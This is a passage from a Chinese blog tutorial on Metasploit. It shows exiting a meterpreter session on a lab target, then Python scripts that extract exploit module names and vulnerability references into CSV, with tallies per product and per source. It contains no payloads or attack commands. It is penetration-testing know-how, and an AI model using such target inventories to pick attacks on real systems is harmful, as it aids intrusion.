  2. 然后在获取到的靶机的Shell中执行如下命令来退出靶机的Shell环境:

meterpreter > exit
  1. 最后在Metasploit环境中使用如下命令来退出本次测试的Metasploit环境:
msf6 auxiliary(admin/postgres/postgres_sql) > exit

4、总结

4.1、Matesploit攻击的漏洞对象

  在前面的章节(“2.2.1.1.3、运行Exploit模块”章节)已经介绍过,Matesploit使用其自己维护的Exploit库对目标漏洞进行攻击。但是目前我们并不清楚Matesploit究竟可以对多少种漏洞对象进行攻击,所以本章节将会介绍如何提取到Matesploit攻击的具体漏洞对象。

  那么究竟该如何完成这项工作呢?经过分析发现,在Matesploit维护的Exploit库中(即以“.rb”结尾的脚本),Name字段中的数据就是该漏洞攻击脚本的对象。比如我们查看“/opt/metasploit-framework/embedded/framework/modules/exploits/netware/smb/lsass_cifs.rb”脚本。
在这里插入图片描述

  可以发现其中的Name字段中的Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow就表明了该漏洞检测脚本是针对LSASS服务中的CIFS.NLM驱动程序这个应用的。故我们的想法是写一个脚本,来提取其中Name字段的内容,就可以来确定究竟Matesploit可以具体攻击哪些对象的漏洞了。

  1. 首先来到当前用户的根目录中,创建并编辑一个文件,这里面就要写我们的提取信息脚本:
$ cd ~
$ touch get_target.py
$ gedit get_target.py
  1. 在打开的文件中,输入如下内容,保存修改后退出:
import os
import re
import csv

def extract_name_from_rb_file(file_path):
    # 读取Ruby脚本文件
    with open(file_path, 'r') as f:
        script_content = f.read()
    # 使用正则表达式提取Name字段内容
    name_match = re.search(r"'Name'\s*=>\s*'([^']*)'", script_content)
    if name_match:
        return name_match.group(1)
    else:
        return None

def extract_names_from_directory(directory):
    # 创建一个集合用于保存所有提取的Name字段,以去重
    names_set = set()
    # 遍历目录中的所有文件
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith(".rb"):
                # 构建完整的文件路径
                file_path = os.path.join(root, file)
                # 提取Name字段并添加到集合中
                name = extract_name_from_rb_file(file_path)
                if name:
                    names_set.add(name)

    return list(names_set)

def save_names_to_csv(names, output_file):
    # 将提取的内容保存到CSV文件中
    with open(output_file, 'w', newline='') as csvfile:
        fieldnames = ['Name']
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)

        writer.writeheader()
        for name in names:
            writer.writerow({'Name': name})
    print("Done!")

# 指定目标目录
target_directory = '/opt/metasploit-framework/embedded/framework/modules/exploits'

# 指定输出文件路径
output_file = '/home/iie-iisd/result.csv'

# 调用函数提取Name字段并保存到CSV文件中
names = extract_names_from_directory(target_directory)
save_names_to_csv(names, output_file)
  1. 然后运行该脚本:
$ python3 get_target.py

  运行完成以上脚本后,就可以成功提取到目标信息。此时我们可以查看一下提取结果。我在这里使用Excel打开该文件。
在这里插入图片描述

  可以发现,最终我们提取到2061条数据(除去第一行的标题)。这也就表明Matesploit可以对2061种漏洞进行攻击(注:这是2023-11-19的可攻击漏洞条目。由于Matesploit经常会对Exploit库进行更新,所以不同时间可以攻击的漏洞条目会有区别)。不过这不代表可以对2061个对象进行漏洞攻击,因为一个对象可能包含多种漏洞。

  若想了解究竟有多少漏洞攻击对象,可以再写一个脚本进行检测,不过在这里并没有这个需求,故不再赘述。应要求,现对以下几类Matesploit可以进行漏洞攻击的对象进行统计。
序号 检测对象 可检测的漏洞数量 备注

序号检测对象可检测的漏洞数量备注
Kubernetes(K8s)1(+0)=1Kubernetes(通常简称为K8s)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用程序,具有高可用性、可扩展性和自我修复能力。
Docker7一个开源的容器化平台,使开发者能够打包、部署和运行应用程序及其依赖的轻量级容器,实现了环境的一致性和应用的快速交付。
Pytorch1一个开源的深度学习框架,提供了灵活的张量计算和动态神经网络构建,适用于学术研究和工业应用。
MySQL5开源的关系型数据库管理系统,由Oracle公司开发和维护。
SQLite0一款轻量级的嵌入式关系型数据库管理系统,它以零配置、无服务器的特点著称,适用于嵌入式设备和小型应用程序。
Redis2一种基于内存的键值存储系统,用于缓存、消息队列等场景。
MongoDB1一种面向文档的NoSQL数据库,适用于大规模数据存储和高性能查询。
IBM Db20由IBM公司开发的关系型数据库管理系统,用于企业级应用。
PostgreSQL4开源的对象-关系型数据库系统,具有广泛的功能和可扩展性。
Oracle Database1由Oracle公司开发的商业关系型数据库管理系统,功能强大。
Microsoft SQL Server8由Microsoft公司开发的关系型数据库管理系统,用于Windows平台。
Cassandra0一种分布式的NoSQL数据库系统,用于处理大量数据和高并发请求。

4.2、Matesploit的漏洞信息来源

  虽然现在我们已经清楚了Matesploit可以对多少种漏洞对象进行攻击,但是我们还不清楚这些漏洞信息的来源,即Matesploit所攻击的这些漏洞的详细信息来自于哪里。所以本章节将会介绍如何提取到Matesploit攻击漏洞的信息来源。

  那么究竟该如何完成这项工作呢?经过分析发现,在Matesploit维护的Exploit库中(即以“.rb”结尾的脚本),References字段中的数据就是该漏洞信息的来源。比如我们查看“/opt/metasploit-framework/embedded/framework/modules/exploits/netware/smb/lsass_cifs.rb”脚本。
在这里插入图片描述

  可以发现其中的References字段中的CVE', '2005-2852''OSVDB', '12790'就表明了该漏洞信息来源于CVE-2005-2852OSVDB-12790。故我们的想法是写一个脚本,来提取其中References字段的内容,就可以确定Matesploit的漏洞信息来源了。

  1. 首先来到当前用户的根目录中,创建并编辑一个文件,这里面就要写我们的提取信息脚本:
$ cd ~
$ touch get_target.py
$ gedit get_target.py
  1. 在打开的文件中,输入如下内容,保存修改后退出:
import os
import re
import csv

def extract_references(file_path):
    with open(file_path, 'r') as f:
        script_content = f.read()

    # 使用正则表达式提取References字段内容
    references_match = re.search(r"'References'\s*=>\s*\[([\s\S]*)\],", script_content)
    if references_match:
        references_data = references_match.group(1)
        # 使用正则表达式提取所有引用类型,不包括编号
        references = re.findall(r"\[\s*'([A-Za-z]+)'\s*,\s*'([^']+)'\s*\]", references_data)
        # 去重
        references = list(set(references))
        return references
    else:
        return []

def save_to_csv(references, output_file):
    # 将提取的内容保存到CSV文件中
    with open(output_file, 'a', newline='') as csvfile:
        fieldnames = ['Reference']
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
        for ref in references:
            writer.writerow({'Reference': ref[0]})

def process_directory(directory, output_file):
    # 遍历目录中的所有文件和子目录
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith(".rb"):
                # 构建完整的文件路径
                file_path = os.path.join(root, file)
                # 提取References字段并保存到CSV文件中
                references = extract_references(file_path)
                if references:
                    save_to_csv(references, output_file)

# 指定目标目录
target_directory = '/opt/metasploit-framework/embedded/framework/modules/exploits'

# 指定输出文件路径
output_file = '/home/iie-iisd/output.csv'

# 清空输出文件
open(output_file, 'w').close()

# 处理目标目录中的所有.rb文件
process_directory(target_directory, output_file)

print("Done!")
  1. 然后运行该脚本:
$ sudo python3 get_target.py

  运行完成以上脚本后,就可以成功提取到目标信息。此时我们可以查看一下提取结果。我在这里使用Excel打开该文件。
在这里插入图片描述

  可以发现,最终我们提取到8812条数据。这也就表明Matesploit的漏洞信息有8812个(注:这是2023-11-19的数据。由于Matesploit经常会对Exploit库进行更新,所以不同时间的数据会有区别)。不过这不代表Matesploit的漏洞信息来源有8812种,因为一个漏洞可能包含多种信息来源。

  不过既然我们得到CSV格式的数据,就可以通过筛选得到Matesploit检测的漏洞信息来源。统计结果如下表所示。

序号漏洞信息来源数量备注
BID844BID(Bugtraq ID)是一个用于标识计算机安全漏洞的唯一标识符,通常在安全公告和漏洞数据库中使用。
CVE2071CVE(Common Vulnerabilities and Exposures)是一个用于标识和跟踪计算机安全漏洞的公共标准,提供唯一的标识符用于引用漏洞。
EDB691EDB(Exploit Database)是一个旨在收集和提供计算机安全漏洞利用工具和漏洞信息的公开数据库。
MSB147MSB(Microsoft Security Bulletin)是微软发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
OSVDB1314OSVDB(Open Sourced Vulnerability Database)是一个旨在收集和提供计算机安全漏洞信息的开源数据库,帮助用户了解和管理潜在的安全风险。
OVE1OVE(OpenVAS Vulnerability Description Language)是一种用于描述漏洞信息和扫描结果的开放式标准,通常与 OpenVAS(开放式漏洞评估系统)一起使用。
PACKETSTORM53Packet Storm是一个旨在收集和发布安全漏洞信息、工具和漏洞利用脚本的公开平台。
VTS1VTS(Vulnerability Testing Service)是一种用于对计算机系统进行安全漏洞测试和评估的服务。
WPVDB44WPVDB(WordPress Vulnerability Database)是一个专注于收集和发布WordPress平台相关漏洞信息的公开数据库。
ZDI197ZDI(Zero Day Initiative)是一家安全研究公司,专注于收集和发布零日漏洞信息,并与软件供应商合作解决这些漏洞。

5、参考文献

  1. 如何在Ubuntu上安裝Metasploit
  2. Metasploit Documentation
  3. rapid7/metasploit-framework: Metasploit Framework
  4. 如何在Ubuntu Linux上安装Metasploit框架
  5. 【工具使用】——Metasploit(MSF)使用详解(超详细)
  6. Metasploitable2与metasploit笔记
  7. Metasploit – 攻击Metasploitable2靶机
  8. 渗透测试-Metasploitable2靶机
  9. Metasploitable2靶机详细漏洞介绍及通关

总结

  以上就是本篇博文的全部内容,可以发现,Metasploit是一款进行渗透测试工具,并且其原理也并不复杂。相信读完本篇博客,各位读者一定对Metasploit有了更深的了解。

  • 11
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

IronmanJay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值